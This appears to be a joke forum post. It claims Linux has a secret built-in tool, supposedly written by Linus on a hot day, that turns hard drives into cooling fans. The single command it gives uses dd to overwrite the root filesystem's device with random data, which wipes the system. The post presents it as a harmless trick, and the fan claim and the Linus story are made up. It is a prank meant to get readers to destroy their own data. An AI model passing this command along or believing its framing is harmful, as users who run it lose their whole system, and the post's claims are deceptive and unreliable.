Actually all systems have a builtin tool to turn hard drives into fans, works all the time, it's crazy

sudo dd if=/dev/urandom of=$(mount | grep " / " | awk '{print $1}')

It's a secret tool that Linus coded on a hot summer Finnish day, I mean he had to, it was 15 degrees, he was sweating! Legend has it that he used the tool on 20 hard drives to lower his room's temperature to a nice and comfortable 5 degrees... The only problem was the noise, but he just put a blanket on it
